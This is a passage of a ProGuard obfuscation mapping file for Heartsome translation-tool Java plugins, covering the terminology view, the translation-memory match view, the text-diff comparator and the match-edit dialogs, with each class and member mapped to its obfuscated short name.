org.eclipse.nebula.widgets.grid.internal.BranchRenderer branchRenderer -> ph + org.eclipse.nebula.widgets.grid.internal.CheckBoxRenderer checkRenderer -> pi + void paint(org.eclipse.swt.graphics.GC,java.lang.Object) -> paint + int[] getBranches(org.eclipse.nebula.widgets.grid.GridItem) -> a + org.eclipse.swt.graphics.Point computeSize(org.eclipse.swt.graphics.GC,int,int,java.lang.Object) -> computeSize + boolean notify(int,org.eclipse.swt.graphics.Point,java.lang.Object) -> notify + boolean overCheck(org.eclipse.nebula.widgets.grid.GridItem,org.eclipse.swt.graphics.Point) -> a + int getToggleIndent(org.eclipse.nebula.widgets.grid.GridItem) -> b + boolean overToggle(org.eclipse.nebula.widgets.grid.GridItem,org.eclipse.swt.graphics.Point) -> b + void setTree(boolean) -> setTree + void setCheck(boolean) -> setCheck + org.eclipse.swt.graphics.Rectangle getTextBounds(org.eclipse.nebula.widgets.grid.GridItem,boolean) -> getTextBounds + boolean isCenteredCheckBoxOnly(org.eclipse.nebula.widgets.grid.GridItem) -> c +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart -> net.heartsome.cat.ts.ui.term.view.c: + java.lang.String ID -> ID + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + org.eclipse.nebula.widgets.grid.GridColumn srcTableColumn -> Uq + org.eclipse.nebula.widgets.grid.GridColumn tgtTableColumn -> Ur + org.eclipse.jface.action.IAction firstAction -> Us + java.lang.String curProConfigPath -> Ut + net.heartsome.cat.ts.ui.editors.IXliffEditor tempEditor -> Uu + int rowIndex -> rowIndex + org.eclipse.swt.widgets.Composite parent -> parent + org.eclipse.nebula.widgets.grid.Grid gridTable -> Uv + net.heartsome.cat.ts.ui.grid.GridCopyEnable copyEnable -> ajI + org.eclipse.swt.custom.CLabel tipLabel -> Zl + org.eclipse.swt.graphics.Image tipLabelImage -> Zq + net.heartsome.cat.ts.tb.match.TbMatcher matcher -> MW + net.heartsome.cat.ts.ui.term.view.CellRenderer idColumnCellRenderer -> Uw + net.heartsome.cat.ts.ui.term.view.CellRenderer srcColumnCellRenderer -> Ux + net.heartsome.cat.ts.ui.term.view.CellRenderer tgtColumnCellRenderer -> Uy + net.heartsome.cat.ts.ui.term.view.CellRenderer propColumnCellRenderer -> Uz + org.eclipse.swt.graphics.Color selectedBgColor -> Fg + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$FontPropertyChangeListener fontChangeListener -> UA + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread currentThread -> Zr + void init(org.eclipse.ui.IViewSite,org.eclipse.ui.IMemento) -> init + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void selectItem() -> ke + void createAction() -> kf + void acceptTermByIndex(int) -> acceptTermByIndex + void setFocus() -> setFocus + void selectionChanged(org.eclipse.ui.IWorkbenchPart,org.eclipse.jface.viewers.ISelection) -> selectionChanged + void dispose() -> dispose + void loadData(java.lang.String,java.lang.String,java.lang.String,boolean) -> a + void refresh() -> refresh + java.lang.String getCurProConfigPath() -> kg + org.eclipse.nebula.widgets.grid.Grid getGridTable() -> kh + void setProcessMessage(org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> b + net.heartsome.cat.ts.tb.match.TbMatcher access$0(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> a + org.eclipse.nebula.widgets.grid.Grid access$1(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> b + org.eclipse.jface.action.IAction access$2(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> c + net.heartsome.cat.ts.ui.editors.IXliffEditor access$3(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> d + int access$4(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> e + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> f + void access$6(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart,org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> a + net.heartsome.cat.ts.ui.term.view.CellRenderer access$7(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> g + net.heartsome.cat.ts.ui.term.view.CellRenderer access$8(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> h + net.heartsome.cat.ts.ui.term.view.CellRenderer access$9(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> i + net.heartsome.cat.ts.ui.term.view.CellRenderer access$10(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> j + net.heartsome.cat.ts.ui.grid.GridCopyEnable access$11(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> k + org.eclipse.nebula.widgets.grid.GridColumn access$12(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> l + org.eclipse.nebula.widgets.grid.GridColumn access$13(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> m + org.eclipse.swt.widgets.Composite access$14(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart) -> n +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$1 -> net.heartsome.cat.ts.ui.term.view.d: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + org.eclipse.ui.IWorkbenchPage val$page -> wU + void partClosed(org.eclipse.ui.IWorkbenchPartReference) -> partClosed +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$2 -> net.heartsome.cat.ts.ui.term.view.e: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + org.eclipse.swt.widgets.Composite val$contentPanel -> Zs + org.eclipse.nebula.widgets.grid.GridColumn val$idItem -> UC + org.eclipse.nebula.widgets.grid.GridColumn val$propertyColumn -> UD + void controlResized(org.eclipse.swt.events.ControlEvent) -> controlResized +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$3 -> net.heartsome.cat.ts.ui.term.view.f: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$4 -> net.heartsome.cat.ts.ui.term.view.g: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$5 -> net.heartsome.cat.ts.ui.term.view.h: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + void run() -> run +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$FontPropertyChangeListener -> net.heartsome.cat.ts.ui.term.view.i: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TableViewerLabelProvider -> net.heartsome.cat.ts.ui.term.view.j: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread -> net.heartsome.cat.ts.ui.term.view.k: + java.lang.String pureText -> Op + java.lang.String srcLanguage -> Bu + java.lang.String targetLanguage -> cW + boolean isSort -> Bw + boolean stop -> Zt + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart this$0 -> UB + void setStop(boolean) -> setStop + void run() -> run + void updateUI(java.lang.String,java.util.Vector) -> a + java.util.List getHighlightWord(java.lang.String,java.util.List) -> f + java.lang.String getIgnoreCaseMathText(java.lang.String,java.lang.String) -> ab + void updateStatusInfo(java.lang.String) -> eQ + void access$0(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread,java.lang.String) -> a + java.util.List access$1(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread,java.lang.String,java.util.List) -> a + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart access$2(net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread) -> a +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread$1 -> net.heartsome.cat.ts.ui.term.view.l: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread this$1 -> ZD + java.util.Vector val$terms -> ZE + java.lang.String val$pureText -> akJ + void run() -> run +net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread$2 -> net.heartsome.cat.ts.ui.term.view.m: + net.heartsome.cat.ts.ui.term.view.TerminologyViewPart$TermSearchThread this$1 -> ZD + java.lang.String val$content -> abx + void run() -> run +net.heartsome.cat.ts.ui.translation.Activator -> net.heartsome.cat.ts.ui.translation.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.translation.Activator plugin -> UE + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.translation.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + org.eclipse.jface.resource.ImageDescriptor getIconDescriptor(java.lang.String) -> getIconDescriptor +net.heartsome.cat.ts.ui.translation.ImageConstants -> net.heartsome.cat.ts.ui.translation.ImageConstants: + java.lang.String ACCEPT_FULLTEXT -> ACCEPT_FULLTEXT + java.lang.String ACCEPT_TEXT -> ACCEPT_TEXT + java.lang.String TM_INFO -> TM_INFO + java.lang.String DELETE_MATCH -> DELETE_MATCH + java.lang.String EDIT_MATCH -> EDIT_MATCH +net.heartsome.cat.ts.ui.translation.bean.TmConstants -> net.heartsome.cat.ts.ui.translation.bean.TmConstants: + java.lang.String MATCH_TYPE_TM -> MATCH_TYPE_TM + java.lang.String MATCH_TYPE_PT -> MATCH_TYPE_PT + java.lang.String MATCH_TYPE_QT -> MATCH_TYPE_QT + java.lang.String MATCH_TYPE_MT -> MATCH_TYPE_MT +net.heartsome.cat.ts.ui.translation.comparator.Comparator -> net.heartsome.cat.ts.ui.translation.comparator.a: + java.util.List Compare(java.lang.String,java.lang.String) -> U + void Compare(java.lang.String,org.eclipse.swt.custom.StyledText) -> a +net.heartsome.cat.ts.ui.translation.comparator.Comparator$1 -> net.heartsome.cat.ts.ui.translation.comparator.b: + org.eclipse.swt.graphics.Color val$differencefg -> UF + org.eclipse.swt.graphics.Color val$differencebg -> UG + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher -> net.heartsome.cat.ts.ui.translation.comparator.d: + float Diff_Timeout -> apr + short Diff_EditCost -> aps + float Match_Threshold -> apt + int Match_Distance -> apu + float Patch_DeleteThreshold -> apv + short Patch_Margin -> apw + short Match_MaxBits -> apx + java.util.regex.Pattern BLANKLINEEND -> apy + java.util.regex.Pattern BLANKLINESTART -> apz + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$translation$comparator$TextDiffMatcher$Operation -> apA + boolean $assertionsDisabled -> apB + java.util.LinkedList diff_main(java.lang.String,java.lang.String) -> ag + java.util.LinkedList diff_main(java.lang.String,java.lang.String,boolean) -> d + java.util.LinkedList diff_main(java.lang.String,java.lang.String,boolean,long) -> a + java.util.LinkedList diff_compute(java.lang.String,java.lang.String,boolean,long) -> b + java.util.LinkedList diff_lineMode(java.lang.String,java.lang.String,long) -> a + java.util.LinkedList diff_bisect(java.lang.String,java.lang.String,long) -> b + java.util.LinkedList diff_bisectSplit(java.lang.String,java.lang.String,int,int,long) -> a + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$LinesToCharsResult diff_linesToChars(java.lang.String,java.lang.String) -> ah + java.lang.String diff_linesToCharsMunge(java.lang.String,java.util.List,java.util.Map) -> a + void diff_charsToLines(java.util.LinkedList,java.util.List) -> a + int diff_commonPrefix(java.lang.String,java.lang.String) -> ai + int diff_commonSuffix(java.lang.String,java.lang.String) -> aj + int diff_commonOverlap(java.lang.String,java.lang.String) -> ak + java.lang.String[] diff_halfMatch(java.lang.String,java.lang.String) -> al + java.lang.String[] diff_halfMatchI(java.lang.String,java.lang.String,int) -> b + void diff_cleanupSemantic(java.util.LinkedList) -> c + void diff_cleanupSemanticLossless(java.util.LinkedList) -> d + int diff_cleanupSemanticScore(java.lang.String,java.lang.String) -> am + void diff_cleanupEfficiency(java.util.LinkedList) -> e + void diff_cleanupMerge(java.util.LinkedList) -> f + int diff_xIndex(java.util.LinkedList,int) -> a + java.lang.String diff_prettyHtml(java.util.LinkedList) -> g + java.lang.String diff_text1(java.util.LinkedList) -> h + java.lang.String diff_text2(java.util.LinkedList) -> i + int diff_levenshtein(java.util.LinkedList) -> j + java.lang.String diff_toDelta(java.util.LinkedList) -> k + java.util.LinkedList diff_fromDelta(java.lang.String,java.lang.String) -> an + int match_main(java.lang.String,java.lang.String,int) -> c + int match_bitap(java.lang.String,java.lang.String,int) -> d + double match_bitapScore(int,int,int,java.lang.String) -> a + java.util.Map match_alphabet(java.lang.String) -> fP + void patch_addContext(net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Patch,java.lang.String) -> a + java.util.LinkedList patch_make(java.lang.String,java.lang.String) -> ao + java.util.LinkedList patch_make(java.util.LinkedList) -> l + java.util.LinkedList patch_make(java.lang.String,java.lang.String,java.util.LinkedList) -> a + java.util.LinkedList patch_make(java.lang.String,java.util.LinkedList) -> a + java.util.LinkedList patch_deepCopy(java.util.LinkedList) -> m + java.lang.Object[] patch_apply(java.util.LinkedList,java.lang.String) -> a + java.lang.String patch_addPadding(java.util.LinkedList) -> n + void patch_splitMax(java.util.LinkedList) -> o + java.lang.String patch_toText(java.util.List) -> T + java.util.List patch_fromText(java.lang.String) -> fQ + java.lang.String unescapeForEncodeUriCompatability(java.lang.String) -> fR + java.lang.String access$0(java.lang.String) -> P + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$translation$comparator$TextDiffMatcher$Operation() -> ps +net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Diff -> net.heartsome.cat.ts.ui.translation.comparator.e: + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation operation -> apC + java.lang.String text -> text + java.lang.String toString() -> toString + int hashCode() -> hashCode + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$LinesToCharsResult -> net.heartsome.cat.ts.ui.translation.comparator.f: + java.lang.String chars1 -> apD + java.lang.String chars2 -> apE + java.util.List lineArray -> apF +net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation -> net.heartsome.cat.ts.ui.translation.comparator.g: + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation DELETE -> apG + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation INSERT -> apH + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation EQUAL -> apI + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation[] ENUM$VALUES -> apJ + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation[] values() -> pt + net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Operation valueOf(java.lang.String) -> fS +net.heartsome.cat.ts.ui.translation.comparator.TextDiffMatcher$Patch -> net.heartsome.cat.ts.ui.translation.comparator.h: + java.util.LinkedList diffs -> apK + int start1 -> apL + int start2 -> apM + int length1 -> apN + int length2 -> apO + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$translation$comparator$TextDiffMatcher$Operation -> apA + java.lang.String toString() -> toString + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$translation$comparator$TextDiffMatcher$Operation() -> ps +net.heartsome.cat.ts.ui.translation.comparator.TokenComparator -> net.heartsome.cat.ts.ui.translation.comparator.c: + java.lang.String fText -> fText + int fCount -> fCount + int[] fStarts -> UH + int[] fLengths -> UI + int getRangeCount() -> getRangeCount + int getTokenStart(int) -> T + int getTokenLength(int) -> getTokenLength + boolean rangesEqual(int,org.eclipse.compare.rangedifferencer.IRangeComparator,int) -> rangesEqual + boolean skipRangeComparison(int,int,org.eclipse.compare.rangedifferencer.IRangeComparator) -> skipRangeComparison +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditDialog -> net.heartsome.cat.ts.ui.translation.dialog.a: + net.heartsome.cat.ts.ui.innertag.SegmentViewer srcSegmentViewer -> ajV + net.heartsome.cat.ts.ui.innertag.SegmentViewer tgtSegmentViewer -> ajW + net.heartsome.cat.common.bean.FuzzySearchResult fuzzyResult -> yS + void okPressed() -> okPressed + boolean close() -> close + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void loadData() -> dy + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu -> net.heartsome.cat.ts.ui.translation.dialog.b: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$CopyAction copyAction -> ajX + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$CutAction cutAction -> ajY + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$PasteAction pasteAction -> ajZ + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$UndoAction undoAction -> aka + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$RedoAction redoAction -> akb + net.heartsome.cat.ts.ui.innertag.SegmentViewer viewer -> Xs + org.eclipse.swt.widgets.Menu bodyMenu -> ZG + org.eclipse.swt.widgets.Menu getBodyMenu() -> getBodyMenu + void createMenu() -> createMenu + void updateActionsEnableState() -> updateActionsEnableState +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$1 -> net.heartsome.cat.ts.ui.translation.dialog.c: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$2 -> net.heartsome.cat.ts.ui.translation.dialog.d: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$3 -> net.heartsome.cat.ts.ui.translation.dialog.e: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$CopyAction -> net.heartsome.cat.ts.ui.translation.dialog.f: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$CutAction -> net.heartsome.cat.ts.ui.translation.dialog.g: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$PasteAction -> net.heartsome.cat.ts.ui.translation.dialog.h: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$RedoAction -> net.heartsome.cat.ts.ui.translation.dialog.i: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu$UndoAction -> net.heartsome.cat.ts.ui.translation.dialog.j: + net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditorBodyMenu this$0 -> akc + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.ts.ui.translation.resource.Messages -> net.heartsome.cat.ts.ui.translation.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.translation.view.MatchData -> net.heartsome.cat.ts.ui.translation.view.MatchData: + net.heartsome.cat.ts.core.bean.TransUnitBean transUnit -> ahN + org.eclipse.core.resources.IProject project -> project + java.lang.String rowId -> OH + net.heartsome.cat.ts.ui.editors.IXliffEditor editor -> als + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfo -> alt + net.heartsome.cat.ts.core.bean.TransUnitBean getTransUnit() -> getTransUnit + void setTransUnit(net.heartsome.cat.ts.core.bean.TransUnitBean) -> setTransUnit + org.eclipse.core.resources.IProject getProject() -> getProject + void setProject(org.eclipse.core.resources.IProject) -> setProject + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + net.heartsome.cat.ts.ui.editors.IXliffEditor getEditor() -> getEditor + void setEditor(net.heartsome.cat.ts.ui.editors.IXliffEditor) -> setEditor + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean getTuInfo() -> getTuInfo + void setTuInfo(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) -> setTuInfo +net.heartsome.cat.ts.ui.translation.view.MatchViewPart -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String ID -> ID + net.heartsome.cat.ts.ui.innertag.SegmentViewer sourceText -> apP + org.eclipse.nebula.widgets.grid.Grid gridTable -> Uv + net.heartsome.cat.ts.ui.translation.view.SourceColunmCellRenderer sourceColunmCellRenderer -> UK + net.heartsome.cat.ts.ui.translation.view.TypeColunmCellRenderer typeColumnCellRenderer -> UL + net.heartsome.cat.ts.ui.translation.view.TargetColunmCellRenderer targetColumnCellRenderer -> UM + net.heartsome.cat.ts.ui.grid.GridCopyEnable copyEnable -> ajI + org.eclipse.swt.custom.CLabel infoLabel -> UN + org.eclipse.swt.graphics.Image infoLabelImage -> UO + org.eclipse.swt.custom.CLabel tipLabel -> Zl + org.eclipse.swt.graphics.Image tipLabelImage -> Zq + net.heartsome.cat.ts.ui.translation.view.MatchViewerBodyMenu menuMgr -> akd + net.heartsome.cat.ts.tm.match.TmMatcher tmMatcher -> zN + net.heartsome.cat.ts.ui.bean.TranslateParameter transParameter -> UQ + org.eclipse.swt.graphics.Image tmImage -> UR + org.eclipse.swt.graphics.Image googleImage -> US + org.eclipse.swt.graphics.Image qtImage -> UT + org.eclipse.swt.graphics.Image bingImage -> UU + org.eclipse.swt.graphics.Image otherImage -> UV + org.eclipse.swt.graphics.Color selectedBgColor -> Fg + java.util.List altTransCacheList -> abM + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$FontPropertyChangeListener fontChangeListener -> UX + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread matcherThread -> ahD + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread manualTranslationThread -> ahE + net.heartsome.cat.ts.ui.translation.view.TranslationTaskContainer manualTranslationTaskContainer -> ahF + java.util.Vector matchDataContainer -> ake + void init(org.eclipse.ui.IViewSite,org.eclipse.ui.IMemento) -> init + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void selectionChanged(org.eclipse.ui.IWorkbenchPart,org.eclipse.jface.viewers.ISelection) -> selectionChanged + void executeMatch(net.heartsome.cat.ts.ui.editors.IXliffEditor,java.lang.String,net.heartsome.cat.ts.core.bean.TransUnitBean,net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,org.eclipse.core.resources.IProject) -> a + void refreshTable() -> refreshTable + void reLoadMatches(net.heartsome.cat.ts.ui.editors.IXliffEditor,int) -> reLoadMatches + void acceptMatchByIndex(int) -> acceptMatchByIndex + void manualExecComplexTranslation(int,net.heartsome.cat.ts.ui.editors.IXliffEditor,net.heartsome.cat.ts.tm.complexMatch.IComplexMatch) -> manualExecComplexTranslation + void manualExecSimpleTranslation(int,net.heartsome.cat.ts.ui.editors.IXliffEditor,net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher) -> manualExecSimpleTranslation + void setFocus() -> setFocus + void setMatchMessage(org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> a + void setProcessMessage(org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> b + void dispose() -> dispose + org.eclipse.swt.graphics.Image getImageByType(java.lang.String) -> getImageByType + void createActions() -> createActions + void updateActionState() -> nC + void loadData(java.util.List) -> B + java.lang.String resetSpecialString(java.lang.String) -> resetSpecialString + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean getTuInfoBean(net.heartsome.cat.ts.core.bean.TransUnitBean,net.heartsome.cat.ts.core.file.XLFHandler,java.lang.String) -> a + java.util.List access$0(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> a + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ManualTranslationTread access$1(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> b + void access$2(net.heartsome.cat.ts.ui.translation.view.MatchViewPart,org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> a + void access$3(net.heartsome.cat.ts.ui.translation.view.MatchViewPart,java.util.List) -> a + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> c + void access$5(net.heartsome.cat.ts.ui.translation.view.MatchViewPart,org.eclipse.swt.graphics.Image,java.lang.String,java.lang.String) -> b + org.eclipse.swt.custom.CLabel access$6(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> d + void access$7(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> e + org.eclipse.swt.graphics.Image access$8(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> f + net.heartsome.cat.ts.ui.translation.view.SourceColunmCellRenderer access$9(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> g + net.heartsome.cat.ts.ui.translation.view.TargetColunmCellRenderer access$10(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> h + net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread access$11(net.heartsome.cat.ts.ui.translation.view.MatchViewPart) -> i +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$1 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$1: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + void partClosed(org.eclipse.ui.IWorkbenchPartReference) -> partClosed +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$2 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$2: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + org.eclipse.swt.widgets.Composite val$composite -> qs + org.eclipse.nebula.widgets.grid.GridColumn val$sourceCln -> UZ + org.eclipse.nebula.widgets.grid.GridColumn val$typeCln -> Va + org.eclipse.nebula.widgets.grid.GridColumn val$targetCln -> Vb + void controlResized(org.eclipse.swt.events.ControlEvent) -> controlResized +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$3 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$3: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + org.eclipse.swt.widgets.Composite val$composite -> qs + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$4 -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$4: + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread -> net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread: + net.heartsome.cat.ts.core.bean.TransUnitBean transUnit -> ahN + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfoBean -> Ae + org.eclipse.core.resources.IProject project -> project + java.lang.String rowId -> OH + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + net.heartsome.cat.ts.ui.editors.IXliffEditor editor -> als + boolean stop -> Zt + net.heartsome.cat.ts.ui.translation.view.MatchViewPart this$0 -> UY + void setStop() -> setStop + void run() -> run + void loadData2UI(java.util.List) -> G + void updateUI(java.util.Vector,int) -> a + void updateStatusInfo(java.lang.String) -> eQ + java.util.Vector executeComplexMatch(net.heartsome.cat.ts.core.bean.TransUnitBean,org.eclipse.core.resources.IProject) -> a + void executeSimpleMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean,net.heartsome.cat.ts.core.bean.TransUnitBean,java.util.List,java.util.List,java.util.List) -> a + net.heartsome.cat.ts.core.file.XLFHandler access$0(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread) -> b + java.lang.String access$1(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread) -> a + void access$2(net.heartsome.cat.ts.ui.translation.view.MatchViewPart$ExecuteMatchThread,java.util.Vector,int) -> a + net.heartsome.cat.ts.core.bean.TransUnitBean 